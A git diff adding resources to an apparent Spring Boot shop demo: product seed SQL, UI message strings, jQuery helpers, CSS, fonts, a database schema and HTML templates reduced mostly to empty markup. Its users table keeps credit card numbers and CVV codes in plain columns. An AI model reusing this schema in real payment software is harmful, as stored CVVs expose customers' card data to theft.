35.3MP, LCD Screen 3.5 inches', 'fa-video', 1090, 0, 0, 0); + +-- Mobile Phones +INSERT INTO Products (product_id, category, name, description, icon, price, total_score, total_comments, sales) VALUES (14, 3, '2G Home', 'Display 3 inches, Camera 2MP, Battery 500mAh', 'fa-mobile', 60, 0, 0, 0); +INSERT INTO Products (product_id, category, name, description, icon, price, total_score, total_comments, sales) VALUES (15, 3, 'Smart Quad core 5', 'RAM 3GB, Display 5 inches, Storage 16GB, Camera 12MP, Battery 3000mAh', 'fa-mobile-alt', 150, 0, 0, 0); +INSERT INTO Products (product_id, category, name, description, icon, price, total_score, total_comments, sales) VALUES (16, 3, 'Smart Quad core 5.5', 'RAM 3GB, Display 5.5 inches, Storage 16GB, Camera 12MP, Battery 3500mAh', 'fa-mobile-alt', 170, 0, 0, 0); +INSERT INTO Products (product_id, category, name, description, icon, price, total_score, total_comments, sales) VALUES (17, 3, 'Smart Quad core 6', 'RAM 4GB, Display 6 inches, Storage 32GB, Camera 20MP, Battery 4000mAh', 'fa-mobile-alt', 250, 0, 0, 0); +INSERT INTO Products (product_id, category, name, description, icon, price, total_score, total_comments, sales) VALUES (18, 3, 'Smart Octa core 5', 'RAM 4GB, Display 5 inches, Storage 16GB, Camera 16MP, Battery 4000mAh', 'fa-mobile-alt', 280, 0, 0, 0); +INSERT INTO Products (product_id, category, name, description, icon, price, total_score, total_comments, sales) VALUES (19, 3, 'Smart Octa core 5.5', 'RAM 8GB, Display 5.5 inches, Storage 32GB, Camera 20MP, Battery 4000mAh', 'fa-mobile-alt', 350, 0, 0, 0); +INSERT INTO Products (product_id, category, name, description, icon, price, total_score, total_comments, sales) VALUES (20, 3, 'Smart Octa core 6', 'RAM 8GB, Display 6 inches, Storage 64GB, Camera 24MP, Battery 5000mAh', 'fa-mobile-alt', 505, 0, 0, 0); + +-- TV +INSERT INTO Products (product_id, category, name, description, icon, price, total_score, total_comments, sales) VALUES (21, 4, 'LED 32', 'Display Size 32 inches, Resolution 720p, Flat', 'fa-tv', 200, 0, 0, 0); +INSERT INTO Products (product_id, category, name, description, icon, price, total_score, total_comments, sales) VALUES (22, 4, 'Smart LED 32', 'Display Size 32 inches, Resolution 720p, Smart TV, Flat', 'fa-tv', 235, 0, 0, 0); +INSERT INTO Products (product_id, category, name, description, icon, price, total_score, total_comments, sales) VALUES (23, 4, 'Smart LED HD 64', 'Display Size 64 inches, Resolution 1080p, Smart TV, Flat', 'fa-tv', 400, 0, 0, 0); +INSERT INTO Products (product_id, category, name, description, icon, price, total_score, total_comments, sales) VALUES (24, 4, 'OLED 64', 'Display Size 64 inches, Resolution 1080p, Flat', 'fa-tv', 510, 0, 0, 0); +INSERT INTO Products (product_id, category, name, description, icon, price, total_score, total_comments, sales) VALUES (25, 4, 'Smart OLED 72', 'Display Size 72 inches, Resolution 1080p, Smart TV, Flat', 'fa-tv', 730, 0, 0, 0); +INSERT INTO Products (product_id, category, name, description, icon, price, total_score, total_comments, sales) VALUES (26, 4, 'Smart LED HD 80', 'Display Size 80 inches, Resolution 4K, Smart TV, Flat', 'fa-tv', 970, 0, 0, 0); +INSERT INTO Products (product_id, category, name, description, icon, price, total_score, total_comments, sales) VALUES (27, 4, 'Smart LED HD Plus 120', 'Display Size 120 inches, Resolution 4k, Smart TV, Curved', 'fa-tv', 1295, 0, 0, 0); + +-- Desktop Computers +INSERT INTO Products (product_id, category, name, description, icon, price, total_score, total_comments, sales) VALUES (28, 5, 'Single Core Home 3', 'Single core 3GHz processor, 4GB RAM, 1TB Hard Drive', 'fa-desktop', 200, 0, 0, 0); +INSERT INTO Products (product_id, category, name, description, icon, price, total_score, total_comments, sales) VALUES (29, 5, 'Dual Core Home 3', 'Dual core 3GHz processor, 8GB RAM, 1TB Hard Drive', 'fa-desktop', 230, 0, 0, 0); +INSERT INTO Products (product_id, category, name, description, icon, price, total_score, total_comments, sales) VALUES (30, 5, 'Dual Core Home 3 Gamming', 'Dual core 3GHz processor, 8GB RAM, 1TB Hard Drive, Advanced Graphic Card', 'fa-desktop', 280, 0, 0, 0); +INSERT INTO Products (product_id, category, name, description, icon, price, total_score, total_comments, sales) VALUES (31, 5, 'Dual Core Office 3', 'Dual core 3.1GHz processor, 8GB RAM, 1TB Hard Drive, Wi-Fi', 'fa-desktop', 350, 0, 0, 0); +INSERT INTO Products (product_id, category, name, description, icon, price, total_score, total_comments, sales) VALUES (32, 5, 'Quad Core Office 4', 'Dual core 3.9GHz processor, 16GB RAM, 2TB Hard Drive, Wi-Fi', 'fa-desktop', 400, 0, 0, 0); +INSERT INTO Products (product_id, category, name, description, icon, price, total_score, total_comments, sales) VALUES (33, 5, 'Quad Core Office 4 Premiun', 'Dual core 3.9GHz processor, 32GB RAM, 3TB Hard Drive, Wi-Fi', 'fa-desktop', 600, 0, 0, 0); +INSERT INTO Products (product_id, category, name, description, icon, price, total_score, total_comments, sales) VALUES (34, 5, 'Quad Core Office 4 Server', 'Dual core 3.9GHz processor plus, 64GB RAM, 4TB Hard Drive, Wi-Fi', 'fa-server', 850, 0, 0, 0); + +-- Tablets +INSERT INTO Products (product_id, category, name, description, icon, price, total_score, total_comments, sales) VALUES (35, 6, 'Home 7', 'RAM 2GB, Display 7 inches, Storage 8GB, Camera 2MP, Battery 3000mAh', 'fa-tablet-alt', 150, 0, 0, 0); +INSERT INTO Products (product_id, category, name, description, icon, price, total_score, total_comments, sales) VALUES (36, 6, 'Home 8', 'RAM 2GB, Display 8 inches, Storage 16GB, Camera 2MP, Battery 3000mAh', 'fa-tablet-alt', 180, 0, 0, 0); +INSERT INTO Products (product_id, category, name, description, icon, price, total_score, total_comments, sales) VALUES (37, 6, 'Home 8 HD', 'RAM 2GB, Display 8 inches HD, Storage 16GB, Camera 2MP, Battery 3500mAh', 'fa-tablet-alt', 250, 0, 0, 0); +INSERT INTO Products (product_id, category, name, description, icon, price, total_score, total_comments, sales) VALUES (38, 6, 'Business 7', 'RAM 3GB, Display 7 inches, Storage 16GB, Camera 5MP, Battery 4000mAh', 'fa-tablet-alt', 230, 0, 0, 0); +INSERT INTO Products (product_id, category, name, description, icon, price, total_score, total_comments, sales) VALUES (39, 6, 'Business 8', 'RAM 4GB, Display 8 inches, Storage 32GB, Camera 5MP, Battery 4000mAh', 'fa-tablet-alt', 295, 0, 0, 0); +INSERT INTO Products (product_id, category, name, description, icon, price, total_score, total_comments, sales) VALUES (40, 6, 'Business 8 HD', 'RAM 4GB, Display 8 inches HD, Storage 32GB, Camera 5MP, Battery 4800mAh', 'fa-tablet-alt', 430, 0, 0, 0); + +-- Accesories +INSERT INTO Products (product_id, category, name, description, icon, price, total_score, total_comments, sales) VALUES (41, 7, 'Wireless Keyboard', 'Wireless wave keyboard and mouse combo, includes keyboard and mouse, long battery life, ergonomic wave design', 'fa-keyboard', 90, 0, 0, 0); +INSERT INTO Products (product_id, category, name, description, icon, price, total_score, total_comments, sales) VALUES (42, 7, 'HDD 1TB', 'External HDD, 1TB SATA, 7200 RPM, 64 MB Cache', 'fa-hdd', 55, 0, 0, 0); +INSERT INTO Products (product_id, category, name, description, icon, price, total_score, total_comments, sales) VALUES (43, 7, 'HDD 2TB', 'External HDD, 2TB SATA, 7200 RPM, 64 MB Cache', 'fa-hdd', 75, 0, 0, 0); +INSERT INTO Products (product_id, category, name, description, icon, price, total_score, total_comments, sales) VALUES (44, 7, 'HDD SSD 500', 'External HDD, 512MB SATA III, 520Mb/s', 'fa-hdd', 120, 0, 0, 0); +INSERT INTO Products (product_id, category, name, description, icon, price, total_score, total_comments, sales) VALUES (45, 7, 'HDD SSD 1TB', 'External HDD, 1TB SATA III, 520Mb/s', 'fa-hdd', 250, 0, 0, 0); +INSERT INTO Products (product_id, category, name, description, icon, price, total_score, total_comments, sales) VALUES (46, 7, 'Headphones', 'Lightweight over ear headphones with microphone integrated', 'fa-headphones', 45, 0, 0, 0); +INSERT INTO Products (product_id, category, name, description, icon, price, total_score, total_comments, sales) VALUES (47, 7, 'Wireless Headphones', 'Wireless lightweight over ear headphones with microphone integrated', 'fa-headphones', 120, 0, 0, 0); +INSERT INTO Products (product_id, category, name, description, icon, price, total_score, total_comments, sales) VALUES (48, 7, 'Compact Printer', 'Wireless All-In-One compact printer', 'fa-print', 265, 0, 0, 0); +INSERT INTO Products (product_id, category, name, description, icon, price, total_score, total_comments, sales) VALUES (49, 7, 'Portable Power Bank 5', 'Phone charger 5000mAh, portable power bank ultra slim LED', 'fa-battery-full', 50, 0, 0, 0); +INSERT INTO Products (product_id, category, name, description, icon, price, total_score, total_comments, sales) VALUES (50, 7, 'Portable Power Bank 10', 'Phone charger 10000mAh, portable power bank ultra slim LED', 'fa-battery-full', 75, 0, 0, 0); \ No newline at end of file diff --git a/src/main/resources/messages.properties b/src/main/resources/messages.properties new file mode 100644 index 0000000..2fdd667 --- /dev/null +++ b/src/main/resources/messages.properties @@ -0,0 +1,181 @@ +# HTML messages + +navbar.home=Home +navbar.products=Products +navbar.cart=Cart +navbar.orders=Orders +navbar.account=Account +navbar.profile=Profile +navbar.password=Change Password +navbar.login=Login +navbar.register=Register +navbar.logout=Logout + +registration.title=New User Registration +registration.button=Register +registration.success=User created successfully, welcome {0} + +edit.profile.title=Update User Profile +edit.profile.button=Update + +profile.input.name=Name +profile.input.name.validation=Your name must be alphanumeric with at least 4 characters +profile.input.name.placeholder=Enter your name +profile.input.email=Email address +profile.input.email.placeholder=Enter email +profile.input.email.validation=The email address is invalid +profile.input.email.tip=We'll never share your email with anyone else +profile.input.password=Password +profile.input.password.placeholder=Use a strong password +profile.input.password.validation=Password is not strong enough +profile.input.password.confirm=Confirm Password +profile.input.password.confirm.placeholder=Confirm Password +profile.input.password.confirm.validation=Passwords do not match +profile.input.address=Address +profile.input.address.validation=Address can not be empty +profile.input.image=Profile image +profile.input.image.validation=Profile image is not valid +profile.input.image.tip= This image will be publicly shown in your product reviews and must be a jpeg +profile.input.current.image=Current image +profile.updated.success=User profile updated successfully + +login.title=Login +login.button=Login +login.input.password.placeholder=Enter your password +login.input.password.validation=Password is too short +login.remember.me=Remember me in this computer +login.forgot.password=Forgot your password? + +send.email.title=Reset Your Password +send.email.button=Send Email + +change.password.title=Change Password +change.password.old.password=Old Password +change.password.new.password=New Password +change.password.button=Change Password +change.password.success=Password changed successfully + +reset.password.title=Reset Your Password +reset.password.new.password=New Password +reset.password.button=Reset Password +reset.password.success=Password updated successfully + +shopping.cart.title=Shopping Cart +shopping.cart.empty=Your shopping cart is empty +shopping.cart.buy=Buy Now! + +new.order.title=Complete Your Order +order.title=Your Order +order.send.address=Send to +order.default.address=Send to your default address +order.different.address=Send to another address +order.address=Address +order.date=Purchase Date +order.total.price=Price +order.buy.and.pay=Buy & Pay Now! +order.buy.and.pay.later=Buy & Pay Later! +order.pay.now=Pay Now! +order.cancel=Cancel Order! +order.name.single.product.autogenerated={0} ({1}) +order.name.autogenerated={0} ({1}) and {2} more products +order.created=Your order ''{0}'' was created successfully +orders.title=Your Orders +orders.empty.table=You have no orders yet +order.name=Order +order.date=Date +order.state=State +order.price=Price +order.pending=The payment is pending +order.already.completed=This order is completed +order.already.cancelled=This order was cancelled + +product.name=Name +product.description=Description +product.category=Category +product.rating=Rating +product.price=Price +product.total.sales=Total sales +product.add.to.cart=Add to Cart + +comment.title=New Review +comment.date=Date +comment.user=User +comment.text=Review Details +comment.rate=Rate this product +comment.button=Add Review +comment.text.validation=Review text can not be empty +add.or.edit.comment.button=Rate +product.comment.created=Product review added + +payment.title=Payment +payment.default.card=Pay with your default credit card +payment.different.card=Pay with another credit card +payment.input.card.validation=The credit card number is invalid +payment.input.cvv.validation=The CVV number is invalid +payment.input.expiration.month.validation=Select the card expiration month +payment.input.expiration.year.validation=Select the card expiration year +payment.pay.button=Pay Now! +payment.set.as.default.card=Save as your default credit card +payment.cvv=CVV +payment.expiration.month=Expiration Month +payment.expiration.year=Expiration Year + +mail.template={0}, click here to reset your password +mail.html.not.supported=Your email client does not support HTML messages +mail.subject=Password Reset for {0} + +error.title=Internal Error +error.page=Page: +error.time=Time: +error.status=Response Status: +error.cause=Cause: + +confirm.title=Confirm +confirm.yes=Yes +confirm.no=No +confirm.remove.profile.image=Remove your profile image? +confirm.remove.product.from.cart=Remove product from cart? +confirm.cancel.order=Cancel order? + +year.select=--Select Year-- +month.select=--Select Month-- +month.1=January +month.2=February +month.3=March +month.4=April +month.5=May +month.6=June +month.7=July +month.8=August +month.9=September +month.10=October +month.11=November +month.12=December + +# Java messages and errors + +auth.invalid.user=The password may be incorrect +auth.invalid.password=The password may be incorrect +auth.invalid.token=Invalid token for user {0} +registration.invalid.parameters=Invalid values detected in the registration form +update.profile.invalid.parameters=Invalid values detected in the user profile +login.invalid.parameters=Invalid values detected in the login form +change.password.invalid.parameters=Invalid values detected +reset.password.invalid.parameters=Invalid values detected +instance.not.found.exception=The {0} with identifier ''{1}'' not found +duplicated.instance.exception=The {0} ''{1}'' is already in use +duplicated.comment.exception=The user {0} already rated the product ''{1}'' +invalid.profile.image=Unable to read profile image +product.already.in.cart=The product ''{0}'' is already in the shopping cart +product.not.in.cart=The product ''{0}'' is not in the shopping cart +product.added.to.the.cart=The product ''{0}'' added to the shopping cart +product.removed.from.the.cart=The product ''{0}'' removed from the shopping cart +create.order.invalid.parameters=Invalid values detected in the order parameters +invalid.state=The requested operation can not be executed due to inconsistencies in the state of the selected resources +pay.order.invalid.parameter=Invalid values detected in the payment form +cancel.order.invalid.parameter=Invalid values detected in the payment form +order.payment.completed=Payment completed successfully +order.cancellation.completed=Order cancelled successfully +invalid.email=Email address is invalid +mail.sent.success=Email successfully sent to {0} +mail.not.configured=Email server (SMTP) is not properly configured \ No newline at end of file diff --git a/src/main/resources/static/Scripts.js b/src/main/resources/static/Scripts.js new file mode 100644 index 0000000..9b1b7c9 --- /dev/null +++ b/src/main/resources/static/Scripts.js @@ -0,0 +1,62 @@ +var DEFAULT_CONFIRM_MESSAGE = "Confirm?"; + +/** + * + * @param {type} message + * @param {type} f + */ +function doConfirm(message, f) { + var $div = $('
'); + $div.append($('#modal-fragment').html()); + $div.find('.modal-body p').text(message); + $('body').append($div); + $div.find('.modal').modal('show').on('hidden.bs.modal', function () { + $div.remove(); + }); + $div.find('.modal').find('.btn-primary').click(function(e) { + e.preventDefault(); + f(); + $div.find('.modal').modal('hide'); + }); +} + +/** + * + * @param {type} displayOnly + * @param {type} size + */ +function doCreateRatings(displayOnly, size) { + $('input.rating-loading').rating({ + displayOnly: displayOnly, + size: size, + step: displayOnly ? 0.5 : 1, + emptyStar: '', + filledStar: '', + showClear: false, + showCaption: false + }); +} + +/** + * + */ +function doConfigureFormValidation() { + $.validate({ + modules: 'security', + validateOnBlur: false, + onElementValidate: function (valid, $el) { + if (valid) { + $($el.data('validation-error-msg-container')).closest('.form-group').addClass('d-none'); + } else { + $($el.data('validation-error-msg-container')).closest('.form-group').removeClass('d-none'); + } + } + }); +} + +/** + * + */ +function doConfigureInputMasking() { + $('[data-inputmask]').inputmask(); +} \ No newline at end of file diff --git a/src/main/resources/static/Styles.css b/src/main/resources/static/Styles.css new file mode 100644 index 0000000..11e7268 --- /dev/null +++ b/src/main/resources/static/Styles.css @@ -0,0 +1,192 @@ +@font-face { + font-family: 'Raleway'; + font-style: normal; + font-weight: 400; + src: url('/fonts/raleway-v12-latin-regular.eot'); /* IE9 Compat Modes */ + src: local('Raleway'), local('Raleway-Regular'), + url('/fonts/raleway-v12-latin-regular.woff2') format('woff2'), /* Super Modern Browsers */ + url('/fonts/raleway-v12-latin-regular.eot?#iefix') format('embedded-opentype'), /* IE6-IE8 */ + url('/fonts/raleway-v12-latin-regular.woff') format('woff'), /* Modern Browsers */ + url('/fonts/raleway-v12-latin-regular.ttf') format('truetype'), /* Safari, Android, iOS */ + url('/fonts/raleway-v12-latin-regular.svg#Raleway') format('svg'); /* Legacy iOS */ +} + +.ui-helper-margin-top { + margin-top: 10px; +} + +.ui-helper-margin-bottom { + margin-bottom: 10px; +} + +.ui-helper-margin-top-decrease { + margin-top: -10px; +} + +.ui-helper-margin-bottom-decrease { + margin-bottom: -10px; +} + +body { + font-family: 'Raleway', Verdana; + font-size: 14px; + padding-top: 90px; + padding-bottom: 75px; +} + +.navbar-brand { + font-size: 16px; +} + +@media (max-width: 768px) { + .truncate { + overflow: hidden; + white-space: nowrap; + text-overflow: ellipsis; + } + label { + overflow: hidden; + white-space: nowrap; + text-overflow: ellipsis; + } +} + +@media (max-width: 1200px) { + .desktop-only { + display: none; + } +} + +@media (max-width: 992px) { +} + +body .navbar { + font-size: 16px; +} + +.nav-item .text-muted { + display: inline-block; + padding-top: 24px; + margin-right: 25px; + line-height: inherit; + white-space: nowrap; +} + +.nav-item .text-muted img { + margin-top: -7px; +} + +.nav-item .text-muted svg { + margin-top: -7px; +} + +::-webkit-input-placeholder { + font-family: 'Raleway', Verdana; + font-size: 14px; +} + +::-moz-placeholder { + font-family: 'Raleway', Verdana; + font-size: 14px; +} /* firefox 19+ */ + +:-ms-input-placeholder { + font-family: 'Raleway', Verdana; + font-size: 14px; +} /* ie */ + + +input:-moz-placeholder { + font-family: 'Raleway', Verdana; + font-size: 14px; +} + +.navbar-collapse { + text-align: center; +} + +.footer { + position: fixed; + bottom: 0; + width: 100%; + height: 60px; + line-height: 60px; + z-index: 500; +} + +body > .container { + padding-top: 20px; + padding-bottom: 20px; + margin: auto; + text-align: center; + align-items: center; +} + +.col-padding { + padding-left: 30px; + padding-right: 30px; +} + +.home .card { + margin: 0 auto; + float: none; + margin-bottom: 10px; + min-height: calc(50vh - 120px); + max-height: calc(50vh - 120px); + overflow: hidden; +} + +.vh-100 { + height: calc(100vh - 190px); +} + +.home .card > a { + cursor: pointer; + padding-top: 10px; + text-decoration: none; +} + +.home .card:hover { + box-shadow: 0 4px 12px 0 rgba(0,0,0,0.2); +} + +.form-group > label { + font-weight: bold; +} + +.form-title { + margin-bottom: 10px; +} + +.input-label-middle { + padding-top: 10px; +} + +.input-label-middle-rating { + padding-top: 25px; +} + +.star > svg { + cursor: pointer; +} + +table.dataTable { + border-collapse: collapse !important; +} + +.rating-stars, .star { + cursor: default !important; +} +.filter-label { + margin-top: 8px; +} + +.form-check-label { + cursor: pointer; + margin-left: 20px; +} + +.form-check-label input { + cursor: pointer; +} + diff --git a/src/main/resources/static/fonts/raleway-v12-latin-regular.eot b/src/main/resources/static/fonts/raleway-v12-latin-regular.eot new file mode 100644 index 0000000..dc8a2ba Binary files /dev/null and b/src/main/resources/static/fonts/raleway-v12-latin-regular.eot differ diff --git a/src/main/resources/static/fonts/raleway-v12-latin-regular.svg b/src/main/resources/static/fonts/raleway-v12-latin-regular.svg new file mode 100644 index 0000000..3587070 --- /dev/null +++ b/src/main/resources/static/fonts/raleway-v12-latin-regular.svg @@ -0,0 +1,347 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/src/main/resources/static/fonts/raleway-v12-latin-regular.ttf b/src/main/resources/static/fonts/raleway-v12-latin-regular.ttf new file mode 100644 index 0000000..8392a78 Binary files /dev/null and b/src/main/resources/static/fonts/raleway-v12-latin-regular.ttf differ diff --git a/src/main/resources/static/fonts/raleway-v12-latin-regular.woff b/src/main/resources/static/fonts/raleway-v12-latin-regular.woff new file mode 100644 index 0000000..af2f2b7 Binary files /dev/null and b/src/main/resources/static/fonts/raleway-v12-latin-regular.woff differ diff --git a/src/main/resources/static/fonts/raleway-v12-latin-regular.woff2 b/src/main/resources/static/fonts/raleway-v12-latin-regular.woff2 new file mode 100644 index 0000000..eba29a9 Binary files /dev/null and b/src/main/resources/static/fonts/raleway-v12-latin-regular.woff2 differ diff --git a/src/main/resources/tables.sql b/src/main/resources/tables.sql new file mode 100644 index 0000000..607a2ac --- /dev/null +++ b/src/main/resources/tables.sql @@ -0,0 +1,129 @@ +alter table comments + drop constraint FK6uv0qku8gsu6x1r2jkrtqwjtn; + +alter table comments + drop constraint FK8omq0tc18jd43bu5tjh6jvraq; + +alter table order_lines + drop constraint FK1smc0s578t2oih21yn9hw6usr; + +alter table order_lines + drop constraint FK5v1oeejtgtf2n3toppm3tkuhh; + +alter table orders + drop constraint FK32ql8ubntj5uh44ph9659tiih; + +alter table products + drop constraint FKtng6hvelpjyy7el0f5eq93nq4; + +drop table categories; +drop table comments; +drop table order_lines; +drop table orders; +drop table products; +drop table users; + +create table categories ( + category_id bigint not null, + description varchar(255) not null, + highlighted boolean, + icon varchar(255) not null, + name varchar(255) not null, + primary key (category_id) +); + +create table comments ( + comment_id bigint generated by default as identity, + rating integer not null, + text varchar(255) not null, + timestamp bigint not null, + product_id bigint not null, + user_id bigint not null, + primary key (comment_id) +); + +create table order_lines ( + order_line_id bigint generated by default as identity, + price integer, + order_id bigint not null, + product_id bigint not null, + primary key (order_line_id) +); + +create table orders ( + order_id bigint generated by default as identity, + address varchar(255) not null, + name varchar(255) not null, + price integer not null, + state varchar(255) not null, + timestamp bigint not null, + user_id bigint not null, + primary key (order_id) +); + +create table products ( + product_id bigint not null, + description varchar(255) not null, + icon varchar(255) not null, + name varchar(255) not null, + price integer not null, + sales integer not null, + total_comments integer not null, + total_score integer not null, + category bigint not null, + primary key (product_id) +); + +create table users ( + user_id bigint generated by default as identity, + address varchar(255) not null, + card varchar(255), + cvv integer, + expiration_month integer, + expiration_year integer, + email varchar(255) not null, + image varchar(255), + name varchar(255) not null, + password varchar(255) not null, + reset_password_token varchar(255), + primary key (user_id) +); + +alter table categories + add constraint UK_t8o6pivur7nn124jehx7cygw5 unique (name); + +alter table products + add constraint UK_o61fmio5yukmmiqgnxf8pnavn unique (name); + +alter table users + add constraint UK_6dotkott2kjsp8vw4d0m25fb7 unique (email); + +alter table comments + add constraint FK6uv0qku8gsu6x1r2jkrtqwjtn + foreign key (product_id) + references products; + +alter table comments + add constraint FK8omq0tc18jd43bu5tjh6jvraq + foreign key (user_id) + references users; + +alter table order_lines + add constraint FK1smc0s578t2oih21yn9hw6usr + foreign key (order_id) + references orders; + +alter table order_lines + add constraint FK5v1oeejtgtf2n3toppm3tkuhh + foreign key (product_id) + references products; + +alter table orders + add constraint FK32ql8ubntj5uh44ph9659tiih + foreign key (user_id) + references users; + +alter table products + add constraint FKtng6hvelpjyy7el0f5eq93nq4 + foreign key (category) + references categories; \ No newline at end of file diff --git a/src/main/resources/templates/Cart.html b/src/main/resources/templates/Cart.html new file mode 100644 index 0000000..9e85361 --- /dev/null +++ b/src/main/resources/templates/Cart.html @@ -0,0 +1,112 @@ + + + +
+ + + +
+
+ + + +
+ +
+
+

+
+
+ +
+ +
+
+
+ +
+
+
+ +
+
+
+ +
+
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + +
+ +
+
+
+ +
+
+
+
+ +
+ +
+ + diff --git a/src/main/resources/templates/ChangePassword.html b/src/main/resources/templates/ChangePassword.html new file mode 100644 index 0000000..1ab76f0 --- /dev/null +++ b/src/main/resources/templates/ChangePassword.html @@ -0,0 +1,112 @@ + + + +
+ + +
+ + + +
+ +
+
+
+
+
+
+

+
+
+ +
+ +
+ +
+ +
+
+ +
+ +
+
+ +
+
+
+
+ +
+ +
+
+ +
+ +
+
+
+
+
+
+ +
+ +
+
+ +
+ +
+
+
+
+
+
+ +
+
+
+ +
+
+
+ +
+
+
+
+ + +
+ +
+ +
+ + diff --git a/src/main/resources/templates/Comment.html b/src/main/resources/templates/Comment.html new file mode 100644 index 0000000..f89fd80 --- /dev/null +++ b/src/main/resources/templates/Comment.html @@ -0,0 +1,67 @@ + + + +
+ + +
+ + +
+ +
+
+
+
+
+
+

+
+
+ +
+ +
+ +
+
+
+ +
+ +
+
+
+
+
+
+
+
+
+ +
+
+
+
+
+
+
+
+
+ + \ No newline at end of file diff --git a/src/main/resources/templates/Error.html b/src/main/resources/templates/Error.html new file mode 100644 index 0000000..d0ec8c6 --- /dev/null +++ b/src/main/resources/templates/Error.html @@ -0,0 +1,49 @@ + + + +
+ + +
+
+
+
+

+
+
+
+

+ +

+

+ +

+

+ +

+ +
+ +
+ +
+
+
+
+ + +
+
+ +

+
+ +

+ +
+ +
+ + + \ No newline at end of file diff --git a/src/main/resources/templates/Index.html b/src/main/resources/templates/Index.html new file mode 100644 index 0000000..11a5ee7 --- /dev/null +++ b/src/main/resources/templates/Index.html @@ -0,0 +1,52 @@ + + + +
+ + + +
+ +
+ +
+ +
+ +
+ +
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ +
+
+ +
+ + \ No newline at end of file diff --git a/src/main/resources/templates/Login.html b/src/main/resources/templates/Login.html new file mode 100644 index 0000000..19c2697 --- /dev/null +++ b/src/main/resources/templates/Login.html @@ -0,0 +1,111 @@ + + + +
+ + +
+ + + + + + + +
+ + \ No newline at end of file diff --git a/src/main/resources/templates/Order.html b/src/main/resources/templates/Order.html new file mode 100644 index 0000000..0651dec --- /dev/null +++ b/src/main/resources/templates/Order.html @@ -0,0 +1,148 @@ + + + +
+ + + +
+
+ + + +
+ +
+
+
+
+ + +
+
+

+
+
+ +
+ + +
+ +
+ € +
+
+ +
+ +
+ + +
+
+
+ +
+ +
+
+
+ +
+ + + +
+
+
+
+
+ +
+
+ +
+
+
+
+
+
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + +
+ + + + +
+ +
+
+
+
+
+
+ + diff --git a/src/main/resources/templates/OrderConfirm.html b/src/main/resources/templates/OrderConfirm.html new file mode 100644 index 0000000..a6e4fdb --- /dev/null +++ b/src/main/resources/templates/OrderConfirm.html @@ -0,0 +1,155 @@ + + + +
+ + + +
+ + + +
+ +
+
+
+
+ + +
+
+

+
+
+ +
+ +
+
+
+ +
+
+
+ +
+ + + + +
+ +
+ € +
+
+
+
+
+ +
+
+
+
+
+ +
+
+
+ +
+ +
+
+
+
+
+
+
+
+ + +
+
+
+ +
+
+
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + +
+ + +
+
+
+
+
+ + diff --git a/src/main/resources/templates/Orders.html b/src/main/resources/templates/Orders.html new file mode 100644 index 0000000..7897698 --- /dev/null +++ b/src/main/resources/templates/Orders.html @@ -0,0 +1,88 @@ + + + +
+ + + +
+ + + +
+ +
+
+

+
+
+ +
+ +
+
+
+ +
+
+
+ +
+
+ + + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + +
+ +
+
+
+
+
+ +
+ + + diff --git a/src/main/resources/templates/Payment.html b/src/main/resources/templates/Payment.html new file mode 100644 index 0000000..98625ef --- /dev/null +++ b/src/main/resources/templates/Payment.html @@ -0,0 +1,181 @@ + + + +
+ + + +
+ + + +
+ +
+
+
+
+ + +
+
+

+
+
+ +
+ +
+
+
+
+ +
+
+
+
+
+ +
+
+
+
+ + + +
+
+ +
+
+
+
+
+
+
+ +
+ +
+
+
+
+
+
+
+ +
+ +
+
+
+
+
+
+
+ +
+ +
+
+
+
+
+
+
+
+
+ +
+
+
+
+ +
+
+
+ +
+
+
+
+
+
+ + diff --git a/src/main/resources/templates/Product.html b/src/main/resources/templates/Product.html new file mode 100644 index 0000000..e3b378a --- /dev/null +++ b/src/main/resources/templates/Product.html @@ -0,0 +1,88 @@ + + + +
+ + + +
+ + + +
+ +
+ +
+
+
+
+ +
+
+
+ + + +
+
+ + +
+
+ +
+
+
+ +
+
+ +
+
+
+
+
+
+
+
+ + + +
+
+ +
+
+ + + +
+
+ + +
+
+
+
+
+
+ + diff --git a/src/main/resources/templates/Products.html b/src/main/resources/templates/Products.html new file mode 100644 index 0000000..c161945 --- /dev/null +++ b/src/main/resources/templates/Products.html @@ -0,0 +1,105 @@ + + + +
+ + + +
+ + + +
+ +
+ +
+
+
+
+

+ + Filter Products +

+
+
+
    +
  • +
    + +
    +
  • +
  • +
    + +
    +
  • +
+
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + +
+ +
+
+
+
+ +
+ +
+ + diff --git a/src/main/resources/templates/Profile.html b/src/main/resources/templates/Profile.html new file mode 100644 index 0000000..f7a04b4 --- /dev/null +++ b/src/main/resources/templates/Profile.html @@ -0,0 +1,192 @@ + + + +
+ + +
+
+ + +
+ +
+
+
+
+
+
+

+

+
+
+ +
+ +
+
+ +
+
+ +
+ +
+
+
+
+
+
+
+ +
+
+ +
+ +
+
+ +
+
+
+
+
+
+
+ +
+
+ +
+ +
+
+
+
+
+
+
+ +
+
+ +
+ +
+
+
+
+
+
+
+ +
+ +
+
+
+
+
+
+
+ +
+ +
+
+ +
+
+
+
+
+
+
+ +
+   + + +   + + + +
+
+
+
+
+
+
+ + +
+
+
+
+
+
+
+
+
+
+ + \ No newline at end of file diff --git a/src/main/resources/templates/ResetPassword.html b/src/main/resources/templates/ResetPassword.html new file mode 100644 index 0000000..ee235df --- /dev/null +++ b/src/main/resources/templates/ResetPassword.html @@ -0,0 +1,98 @@ + + + +
+ + +
+ + + +
+ +
+
+
+
+
+
+

+
+
+ +
+ +
+ + + + +
+ +
+
+ +
+ +
+
+
+
+
+
+ +
+ +
+
+ +
+ +
+
+
+
+
+
+ +
+
+
+ +
+
+
+ +
+
+
+
+ + +
+ + + +
+ + + diff --git a/src/main/resources/templates/SendEmail.html b/src/main/resources/templates/SendEmail.html new file mode 100644 index 0000000..7cd8301 --- /dev/null +++ b/src/main/resources/templates/SendEmail.html @@ -0,0 +1,72 @@ + + + +
+ + +
+ + + + + + + +
